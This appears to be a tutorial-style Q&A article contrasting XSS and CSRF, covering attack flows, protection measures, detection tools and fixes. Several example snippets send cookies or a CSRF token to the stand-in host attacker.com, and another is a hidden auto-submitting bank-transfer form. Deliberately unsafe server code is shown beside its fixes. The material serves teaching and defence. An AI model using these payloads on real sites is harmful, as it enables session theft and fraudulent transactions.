乐闻世界logo
搜索文章和话题

What is the difference between XSS and CSRF? How to distinguish and protect against these two attacks?

2月21日 16:25

Answer

XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) are two common web security vulnerabilities that differ fundamentally in attack principles, attack methods, and protection strategies. Understanding the differences between these two is crucial for building secure web applications.

Core Differences Between XSS and CSRF

1. Attack Principle

XSS (Cross-Site Scripting):

  • Attackers inject malicious scripts into the victim's browser
  • Malicious scripts execute in the victim's browser context
  • Attackers can access the victim's Cookie, LocalStorage, Session, etc.

CSRF (Cross-Site Request Forgery):

  • Attackers trick victims into sending requests to target websites
  • Requests are automatically sent in the victim's browser, carrying the victim's authentication information
  • Attackers cannot directly access the victim's Cookie or Session

2. Attack Target

XSS:

  • Target is the victim's browser
  • Exploits the browser's trust in injected scripts
  • Attackers can execute arbitrary JavaScript code

CSRF:

  • Target is the target website's API or form
  • Exploits the website's trust in user browser authentication
  • Attackers can only send specific HTTP requests

3. Attack Method

XSS Attack Example:

javascript
// Attacker injects malicious script in comment section <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

CSRF Attack Example:

html
<!-- Attacker constructs malicious page --> <img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">

4. Attacker Capabilities

XSS:

  • Can read and modify DOM
  • Can access Cookie (non-HttpOnly)
  • Can access LocalStorage and SessionStorage
  • Can send arbitrary AJAX requests
  • Can execute arbitrary JavaScript code

CSRF:

  • Can only send HTTP requests
  • Cannot read response content
  • Cannot access Cookie
  • Cannot execute JavaScript code
  • Limited by same-origin policy

Detailed Comparison Table

FeatureXSSCSRF
Full NameCross-Site ScriptingCross-Site Request Forgery
Chinese Name跨站脚本攻击跨站请求伪造
Attack PrincipleInject malicious script into victim's browserTrick victim into sending forged request
Attack TargetVictim's browserTarget website's API/form
Attacker CapabilitiesExecute arbitrary JavaScript codeOnly send HTTP requests
Access CookieCan access non-HttpOnly CookieAutomatically carries all Cookies
Read ResponseCan read response contentCannot read response content
Same-Origin PolicyCan bypass same-origin policyLimited by same-origin policy
Protection FocusInput validation, output encoding, CSPCSRF Token, SameSite Cookie
SeverityHigh (can completely control browser)Medium (can only send specific requests)

XSS Attack Details

Attack Flow

  1. Attacker discovers XSS vulnerability
  2. Attacker constructs malicious script
  3. Attacker injects malicious script into target website
  4. Victim visits the injected page
  5. Malicious script executes in victim's browser
  6. Attacker steals data or performs malicious operations

Attack Types

  1. Stored XSS: Malicious script stored in server database
  2. Reflected XSS: Malicious script passed through URL parameters
  3. DOM-based XSS: Malicious script executed through DOM manipulation

Protection Measures

  1. Input Validation: Strictly validate all user input
  2. Output Encoding: Properly encode all output
  3. Content Security Policy: Limit resource sources
  4. HttpOnly Cookie: Prevent JavaScript from accessing Cookie
  5. Use Safe DOM APIs: Avoid using innerHTML, etc.

CSRF Attack Details

Attack Flow

  1. User logs into target website (e.g., bank website)
  2. User visits attacker's malicious website
  3. Malicious website sends request to target website
  4. Browser automatically carries user's authentication information
  5. Target website executes request, thinking it's the user's legitimate operation

Attack Types

  1. GET Request CSRF: Send GET requests through <img>, <script> tags
  2. POST Request CSRF: Automatically submit POST requests through hidden forms
  3. JSON CSRF: Attack by constructing JSON format requests

Protection Measures

  1. CSRF Token: Add random Token to requests
  2. SameSite Cookie: Limit cross-site Cookie sending
  3. Verify Referer/Origin: Check request source
  4. Custom Header: Add custom request headers
  5. Double Submit Cookie: Put Token in both Cookie and request parameters

Real Code Examples

XSS Attack Example

Stored XSS:

javascript
// Unsafe code app.post('/comment', (req, res) => { const comment = req.body.comment; db.save(comment); // Direct save, no validation }); app.get('/comments', (req, res) => { const comments = db.getAll(); res.send(comments.join('')); // Direct output, no encoding }); // Attacker submits POST /comment { "comment": "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>" }

Fix:

javascript
// Safe code function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;") .replace(/"/g, "&quot;") .replace(/'/g, "&#039;"); } app.get('/comments', (req, res) => { const comments = db.getAll(); const encodedComments = comments.map(c => escapeHtml(c)).join(''); res.send(encodedComments); });

CSRF Attack Example

Unsafe Code:

javascript
// Transfer API without CSRF protection app.post('/transfer', (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; // Get user ID from Session // Execute transfer bank.transfer(userId, to, amount); res.json({ success: true }); }); // Attacker's malicious page <html> <body> <form action="http://bank.com/transfer" method="POST" style="display:none;"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="10000"> </form> <script> document.forms[0].submit(); </script> </body> </html>

Fix:

javascript
// Use CSRF Token protection const csrf = require('csurf'); const csrfProtection = csrf({ cookie: true }); app.get('/transfer', csrfProtection, (req, res) => { res.json({ csrfToken: req.csrfToken() }); }); app.post('/transfer', csrfProtection, (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; bank.transfer(userId, to, amount); res.json({ success: true }); }); // Frontend code fetch('/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken }, body: JSON.stringify({ to, amount }) });

XSS and CSRF Combined Attacks

Attackers may simultaneously exploit XSS and CSRF vulnerabilities for more complex attacks:

Attack Scenario:

  1. Attacker steals CSRF Token through XSS
  2. Use stolen Token to initiate CSRF attack
  3. Bypass CSRF protection mechanism

Example:

javascript
// XSS script steals CSRF Token const csrfToken = document.querySelector('meta[name="csrf-token"]').content; fetch('http://attacker.com/steal?token=' + csrfToken); // Attacker uses stolen Token to initiate CSRF attack fetch('http://bank.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': stolenToken }, body: JSON.stringify({ to: 'attacker', amount: 10000 }) });

Protection Strategy Comparison

XSS Protection Strategy

  1. Input Validation

    • Whitelist validation
    • Data type validation
    • Length limit
  2. Output Encoding

    • HTML encoding
    • JavaScript encoding
    • URL encoding
    • CSS encoding
  3. Content Security Policy

    • Limit script sources
    • Prohibit inline scripts
    • Prohibit eval
  4. HttpOnly Cookie

    • Prevent JavaScript from accessing Cookie
  5. Safe DOM Operations

    • Use textContent instead of innerHTML
    • Avoid using document.write

CSRF Protection Strategy

  1. CSRF Token

    • Randomly generate Token
    • Verify Token validity
    • One-time use of Token
  2. SameSite Cookie

    • Strict: Completely don't send cross-site Cookies
    • Lax: Partially send cross-site Cookies
    • None: Allow sending cross-site Cookies (requires Secure)
  3. Verify Referer/Origin

    • Check request source
    • Whitelist validation
  4. Custom Header

    • Add custom request headers
    • Verify Header validity
  5. Double Submit Cookie

    • Token in both Cookie and request parameters
    • Verify if both match

Detection Methods

XSS Detection

  1. Manual Testing

    • Inject <script>alert(1)</script> in input fields
    • Check if it executes
  2. Automated Scanning

    • OWASP ZAP
    • Burp Suite
    • XSStrike
  3. Code Audit

    • Check all user input points
    • Check if output points are encoded

CSRF Detection

  1. Manual Testing

    • Construct cross-site request
    • Check if it executes
  2. Automated Scanning

    • CSRFTester
    • OWASP ZAP
  3. Code Audit

    • Check if there is CSRF Token
    • Check SameSite Cookie settings

Summary

XSS and CSRF are two different but equally dangerous web security vulnerabilities:

Core Characteristics of XSS:

  • Attackers can execute arbitrary JavaScript code
  • Can access and modify data in the browser
  • Higher severity, stronger attacker capabilities
  • Protection focus: Input validation, output encoding, CSP

Core Characteristics of CSRF:

  • Attackers can only send HTTP requests
  • Cannot access response content or browser data
  • Medium severity, limited attacker capabilities
  • Protection focus: CSRF Token, SameSite Cookie

Best Practices:

  1. Protect against both XSS and CSRF simultaneously
  2. Implement multi-layered defense strategies
  3. Regularly conduct security audits and penetration testing
  4. Use security frameworks and libraries
  5. Strengthen developer security awareness

By understanding the differences between XSS and CSRF and taking appropriate protection measures, web applications can be effectively protected from these common security threats.

标签:XSS